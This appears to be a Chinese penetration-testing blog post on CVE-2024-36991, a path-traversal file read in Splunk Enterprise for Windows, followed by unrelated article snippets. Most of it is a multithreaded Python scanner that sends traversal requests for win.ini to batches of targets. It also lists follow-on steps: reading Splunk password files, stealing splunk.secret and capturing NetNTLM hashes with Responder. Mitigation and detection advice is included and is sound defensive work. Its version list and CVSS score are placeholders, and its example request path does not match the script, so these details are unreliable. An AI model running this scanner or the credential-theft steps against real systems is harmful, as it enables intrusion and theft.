#渗透测试#批量漏洞挖掘#Splunk Enterprise for Windows 任意文件读取漏洞( CVE-2024-36991)
免责声明 本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停止本文章读。
目录
一、漏洞概述
二、技术原理分析
三、受影响版本
四、修复建议
五、验证方法
六、漏洞拓展影响
七、漏洞检测脚本
一、漏洞概述
- CVE编号:CVE-2024-36991
- 漏洞类型:任意文件读取 (Arbitrary File Read)
- 影响组件:Splunk Enterprise for Windows版本的Web接口
- CVSS评分:[需参考NVD/NIST官方评分,典型文件读取漏洞通常在7.0-8.0间]
二、技术原理分析
根本原因
路径遍历漏洞,攻击者通过构造恶意请求绕过路径访问限制,利用Windows文件系统特性读取未授权文件。例如:GET /splunkd/__raw/servicesNS/-/-/debug/file?path=C:\Windows\system32\drivers\etc\hosts HTTP/1.1
服务端未对
path参数进行规范化处理,导致可读取系统文件。利用条件
- 攻击者需具备低权限账户或利用未认证接口(视具体漏洞而定)
- 目标系统运行Windows平台下的受影响Splunk版本
三、受影响版本
根据Splunk安全公告,确认受影响版本(示例):
- Splunk Enterprise 9.0.x(Windows版,低于9.0.5)
- Splunk Enterprise 8.2.x(Windows版,低于8.2.11)
四、修复建议
- 官方补丁升级
# 检查当前Splunk版本 & "$SPLUNK_HOME\bin\splunk" --version# 下载对应版本的安全更新包 # 例如9.0.x系列的修复版本为9.0.5临时缓解措施(如无法立即升级):
- 在网络层限制对Splunk Web接口(默认8000端口)的访问范围
- 启用Splunk内置的访问控制策略,严格限制API接口权限
- 监控异常文件访问日志:
index=_internal source=*web_service.log uri=*file* (status=200 OR status=403) | stats count by clientip, path五、验证方法
通过查询系统注册表确认补丁生效:
# Windows系统查看Splunk安装版本 Get-ItemProperty HKLM:\Software\Wow6432Node\SplunkInstaller | Select SplunkVersion六、漏洞拓展影响
可能被利用组合攻击的场景:
- 读取
$SPLUNK_HOME\etc\passwd获取加密凭据- 窃取
c:\ProgramData\Splunk\etc\auth\splunk.secret密钥文件- 横向移动获取NetNTLM哈希(需配合Responder工具)
建议企业用户优先在安全测试环境验证修复方案,并同步检查所有Splunk节点(包括Search Head/Indexer/Forwarder)的版本一致性。
七、漏洞检测脚本
#!/usr/bin/env python3 """ Splunk Enterprise for Windows 任意文件读取漏洞检测工具(优化版) 功能增强: 1. 支持多线程批量检测 2. 增加HTTPS协议优先级 3. 添加结果保存功能 4. 改进漏洞特征检测 5. 支持代理配置 """import argparse import requests import sys import os from concurrent.futures import ThreadPoolExecutor, as_completed from urllib3.exceptions import InsecureRequestWarning # 禁用SSL警告 requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) # 颜色配置 COLOR_CONFIG = {'RED': '\033[91m','GREEN': '\033[92m','YELLOW': '\033[93m','RESET': '\033[0m' }# 漏洞检测配置 DETECTION_CONFIG = {'timeout': 15,'max_redirects': 0,'vuln_signatures': ['[fonts]', '[extensions]', 'file://'],'path_traversal_depth': 10, # 目录遍历层级 'default_ports': [8000, 8080, 443] # 默认尝试端口 }def color_print(text, color=None):"""彩色输出封装"""if color and COLOR_CONFIG.get(color.upper()): return f"{COLOR_CONFIG[color.upper()]}{text}{COLOR_CONFIG['RESET']}"return text def construct_url(base_url):"""智能处理URL格式"""base_url = base_url.strip() if not base_url.startswith(('http://', 'https://')):for port in DETECTION_CONFIG['default_ports']:if f':{port}' in base_url:return f'https://{base_url}'return f'http://{base_url}'return base_url def check_file_read(target_url, proxies=None, timeout=None):"""执行漏洞检测核心逻辑"""headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36','Accept-Encoding': 'gzip, deflate'}# 动态构造路径遍历 traversal_path = '/C:%2e%2e' * DETECTION_CONFIG['path_traversal_depth']exploit_url = f"{target_url.rstrip('/')}/en-US/modules/messaging{traversal_path}/windows/win.ini" try:response = requests.get( exploit_url,headers=headers,verify=False,timeout=timeout or DETECTION_CONFIG['timeout'],allow_redirects=DETECTION_CONFIG['max_redirects'],proxies=proxies )# 增强特征检测 vuln_detected = all(sig in response.text for sig in DETECTION_CONFIG['vuln_signatures']) if response.status_code == 200 else False return {'url': target_url,'status': 'VULNERABLE' if vuln_detected else 'SAFE','status_code': response.status_code, 'content_length': len(response.text), 'response_sample': response.text[:100] }except requests.RequestException as e:return {'url': target_url,'error': str(e)}def process_results(results, output_file=None):"""处理并输出检测结果"""for result in results:if 'error' in result:print(f"{color_print('[!]', 'YELLOW')} {result['url']} 检测失败: {result['error']}")continue status_msg = color_print('[+] 存在漏洞', 'RED') if result['status'] == 'VULNERABLE' else '[-] 未检测到漏洞'info_msg = f"状态码: {result['status_code']} | 响应长度: {result['content_length']} | 响应摘要: {result['response_sample']}"print(f"{status_msg} - {result['url']}\n {info_msg}")if output_file:with open(output_file, 'a') as f:f.write(f"{result['url']},{result['status']}\n") def main():parser = argparse.ArgumentParser(description='Splunk Enterprise 任意文件读取漏洞检测工具')parser.add_argument('-u', '--url', help='单个目标URL')parser.add_argument('-f', '--file', help='包含多个URL的文件')parser.add_argument('-t', '--threads', type=int, default=5, help='并发线程数 (默认: 5)')parser.add_argument('-o', '--output', help='结果输出文件')parser.add_argument('--timeout', type=int, default=15, help='请求超时时间 (默认: 15秒)')parser.add_argument('--proxy', help='使用代理 (示例: http://127.0.0.1:8080)')args = parser.parse_args() # 参数校验 if not args.url and not args.file: parser.error(' 必须指定 -u/--url 或 -f/--file 参数')# 配置代理 proxies = {'http': args.proxy, 'https': args.proxy} if args.proxy else None # 准备目标列表 targets = []if args.url: targets.append(construct_url(args.url)) if args.file: if not os.path.exists(args.file): sys.exit(color_print(f" 错误: 文件 {args.file} 不存在", 'RED'))with open(args.file, 'r') as f:targets.extend([construct_url(line) for line in f if line.strip() and not line.startswith('#')]) # 执行并发检测 results = []with ThreadPoolExecutor(max_workers=args.threads) as executor:futures = {executor.submit(check_file_read, url, proxies, args.timeout): url for url in targets}for future in as_completed(futures):results.append(future.result()) # 处理结果输出 process_results(results, args.output) if __name__ == '__main__':main()
相关文章:
#渗透测试#批量漏洞挖掘#Splunk Enterprise for Windows 任意文件读取漏洞( CVE-2024-36991)
免责声明 本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停…...
苹果公司宣布正式开源 Xcode 引擎 Swift Build145
2025 年 2 月 1 日,苹果公司宣布正式开源 Xcode 引擎 Swift Build145。 Swift 是苹果公司于 2014 年推出的一种开源编程语言,用于开发 iOS、iPadOS、macOS、watchOS 和 tvOS 等平台的应用程序。 发展历程 诞生:2014 年,苹果在全球…...
7.list
本篇博客梳理C的STL中的list容器 一、list的基本结构与使用 1.list的介绍 list的底层是带头循环双向链表 带头:含哨兵位 循环:尾节点的next指针指向哨兵位 双向:每个节点具有两个指针域,一个指针指向前一个结点 2…...
Qt+海康虚拟相机的调试
做机器视觉项目的时候,在没有相机或需要把现场采集的图片在本地跑一下做测试时,可以使用海康的虚拟相机调试。以下是设置步骤: 1.安装好海康MVS软件,在菜单栏->工具选择虚拟相机工具,如下图: 2.打开虚拟…...
数据库基础练习4(有关索引,视图完整解答)
建立需要的表 学生表 mysql> create table studnet(sno int primary key auto_increment,sname varchar(30) not null unique,ssex varchar(2) check (ssex男 or ssex女) not null ,sage int not null,sdept varchar(10) default 计算机 not null); Query OK, 0 rows affe…...
实操给触摸一体机接入大模型语音交互
本文以CSK6 大模型开发板串口触摸屏为例,实操讲解触摸一体机怎样快速增加大模型语音交互功能,使用户能够通过语音在一体机上查询信息、获取智能回答及实现更多互动功能等。 在本文方案中通过CSK6大模型语音开发板采集用户语音,将语音数据传输…...
Excel中对单列数据进行去重筛选
在Excel中对单列数据进行去重筛选,可以按照以下步骤操作: 方法一:使用“删除重复项”功能 选择数据列:点击要处理的列头(如A列)。打开“删除重复项”: Excel 2007及以后版本:点击“…...
K8s —基础指南(K8s - Basic Guide)
K8s —基础指南 K8s 是云上部署容器化应用的事实标准。它作为容器的强大编排器,管理容器重启、负载均衡等任务。 理解 Kubernetes 架构 Kubernetes 的关键功能之一是为访问 Pod 提供稳定的端点,尽管 Pod 本身是短暂的。Kubernetes 服务有效地弥补了这…...
ABAP开发中的前导零和末尾零
前导零和末尾零是指分别出现在数字序列中第一个非零数字之前和最后一个非零数字之后的任何零数字。 关于前导 0 在 SAP 系统中,大多数字母数字字段在数据库中存储时都带前导零,完全占用字段的定义长度。但是,当字段显示给最终用户时&#x…...
Baklib赋能数字内容体验个性化推荐提升用户体验的未来之路
内容概要 随着数字化时代的不断发展,用户对内容消费的需求日益多样化,个性化推荐成为提升用户体验的重要手段。Baklib以其先进的技术手段,在数字内容领域内积极推动个性化推荐的实施,从而满足用户在信息获取和内容消费中的独特需…...
关于Redis的持久化
目录 RDB 1.手动触发 2.自动触发 AOF aof的重写机制 Redis虽然是一个内存数据库,但是也是可以将数据存储到硬盘中的,也就是持久化。硬盘的数据是在Redis重启的时候,用来恢复内存中的数据的,即对数据做了一个备份。Redis实现持…...
【C语言标准库函数】指数与对数函数:exp(), log(), log10()
目录 一、头文件 二、函数简介 2.1. exp(double x) 2.2. log(double x) 2.3. log10(double x) 三、函数实现(概念性) 3.1. exp(double x) 的模拟实现 3.2. log(double x) 和 log10(double x) 的模拟实现 四、注意事项 4.1. exp(double x) 的注…...
2024美团春招硬件开发笔试真题及答案解析
目录 一、选择题 1、在 Linux,有一个名为 file 的文件,内容如下所示: 2、在 Linux 中,关于虚拟内存相关的说法正确的是() 3、AT89S52单片机中,在外部中断响应的期间,中断请求标志位查询占用了()。 4、下列关于8051单片机的结构与功能,说法不正确的是()? 5、…...
Python内置函数map(), list(), len(), iter(), hex(), hash()的详细解析,包括功能、语法、示例及注意事项
1. map(function, iterable, ...) 功能:对可迭代对象中的每个元素应用指定函数,返回一个迭代器。 参数: function:要执行的函数(可以是lambda表达式)。 iterable:一个或多个可迭代对象&#x…...
[LVGL] 在VC_MFC中移植LVGL
前言: 0. 在MFC中开发LVGL的优点是可以用多个Window界面做辅助扩展【类似GUIguider】 1.本文基于VC2022-MFC单文档框架移植lvgl8 2. gitee上下载lvgl8.3 源码,并将其文件夹改名为lvgl lvgl: LVGL 是一个开源图形库,提供您创建具有易于使用…...
MySQL视图索引操作
创建学生表; mysql> create table Student(-> Sno int primary key auto_increment,-> Sname varchar(30) not null unique,-> Ssex char(2) check (Ssex男 or Ssex女) not null,-> Sage int not null,-> Sdept varchar(10) default 计算机 not …...
一次奇怪的空指针问题分析:事务、死锁与隐式回滚
最近我们在排查一个诡异的 空指针异常,整个分析过程可以说是跌宕起伏,最终的结论也颇具隐蔽性。今天就把这个问题分享出来,希望对大家有所帮助。 问题现象 在系统中,我们有 单据 B,它通过一个 关联 ID 字段与 上级单…...
解决aspose将Excel转成PDF中文变成方框的乱码问题
原文网址:解决aspose将Excel转成PDF中文变成方框的乱码问题_IT利刃出鞘的博客-CSDN博客 简介 本文介绍如何解决aspose将Excel转成PDF中文变成方框的乱码问题。 问题描述 用aspose将word、excel等转成PDF后,英文展示正常,但中文全部变成了…...
.net8.0使用EF连接sqlite数据库及使用Gridify实现查询的简易实现
EF Core EF Core 是一个流行的对象关系映射(ORM)框架,它简化了与数据库的交互,提供了一个高效、灵活且易于使用的数据访问层。 Entity Framework (EF) Core 是轻量化、可扩展、开源和跨平台版的常用 Entity Framework 数据访问技…...
2025.2.5——五、[网鼎杯 2020 青龙组]AreUSerialz
题目来源:BUUCTF [网鼎杯 2020 青龙组]AreUSerialz 一、打开靶机,整理信息 直接得到一串php代码,根据题目可以看到还有序列化 二、解题思路 step 1:代码审计 <?phpinclude("flag.php");highlight_file(__FILE__…...
Vue3 + Element Plus + TypeScript中el-transfer穿梭框组件使用详解及示例
使用详解 Element Plus 的 el-transfer 组件是一个强大的穿梭框组件,常用于在两个集合之间进行数据转移,如权限分配、数据选择等场景。下面我将详细介绍其用法并提供一个完整示例。 核心特性与用法 基本属性 v-model:绑定右侧列表的值&…...
Linux相关概念和易错知识点(42)(TCP的连接管理、可靠性、面临复杂网络的处理)
目录 1.TCP的连接管理机制(1)三次握手①握手过程②对握手过程的理解 (2)四次挥手(3)握手和挥手的触发(4)状态切换①挥手过程中状态的切换②握手过程中状态的切换 2.TCP的可靠性&…...
2025盘古石杯决赛【手机取证】
前言 第三届盘古石杯国际电子数据取证大赛决赛 最后一题没有解出来,实在找不到,希望有大佬教一下我。 还有就会议时间,我感觉不是图片时间,因为在电脑看到是其他时间用老会议系统开的会。 手机取证 1、分析鸿蒙手机检材&#x…...
Spring AI 入门:Java 开发者的生成式 AI 实践之路
一、Spring AI 简介 在人工智能技术快速迭代的今天,Spring AI 作为 Spring 生态系统的新生力量,正在成为 Java 开发者拥抱生成式 AI 的最佳选择。该框架通过模块化设计实现了与主流 AI 服务(如 OpenAI、Anthropic)的无缝对接&…...
多模态大语言模型arxiv论文略读(108)
CROME: Cross-Modal Adapters for Efficient Multimodal LLM ➡️ 论文标题:CROME: Cross-Modal Adapters for Efficient Multimodal LLM ➡️ 论文作者:Sayna Ebrahimi, Sercan O. Arik, Tejas Nama, Tomas Pfister ➡️ 研究机构: Google Cloud AI Re…...
AI书签管理工具开发全记录(十九):嵌入资源处理
1.前言 📝 在上一篇文章中,我们完成了书签的导入导出功能。本篇文章我们研究如何处理嵌入资源,方便后续将资源打包到一个可执行文件中。 2.embed介绍 🎯 Go 1.16 引入了革命性的 embed 包,彻底改变了静态资源管理的…...
mac 安装homebrew (nvm 及git)
mac 安装nvm 及git 万恶之源 mac 安装这些东西离不开Xcode。及homebrew 一、先说安装git步骤 通用: 方法一:使用 Homebrew 安装 Git(推荐) 步骤如下:打开终端(Terminal.app) 1.安装 Homebrew…...
(一)单例模式
一、前言 单例模式属于六大创建型模式,即在软件设计过程中,主要关注创建对象的结果,并不关心创建对象的过程及细节。创建型设计模式将类对象的实例化过程进行抽象化接口设计,从而隐藏了类对象的实例是如何被创建的,封装了软件系统使用的具体对象类型。 六大创建型模式包括…...
保姆级【快数学会Android端“动画“】+ 实现补间动画和逐帧动画!!!
目录 补间动画 1.创建资源文件夹 2.设置文件夹类型 3.创建.xml文件 4.样式设计 5.动画设置 6.动画的实现 内容拓展 7.在原基础上继续添加.xml文件 8.xml代码编写 (1)rotate_anim (2)scale_anim (3)translate_anim 9.MainActivity.java代码汇总 10.效果展示 逐帧…...
基于江科大stm32屏幕驱动,实现OLED多级菜单(动画效果),结构体链表实现(独创源码)
引言 在嵌入式系统中,用户界面的设计往往直接影响到用户体验。本文将以STM32微控制器和OLED显示屏为例,介绍如何实现一个多级菜单系统。该系统支持用户通过按键导航菜单,执行相应操作,并提供平滑的滚动动画效果。 本文设计了一个…...
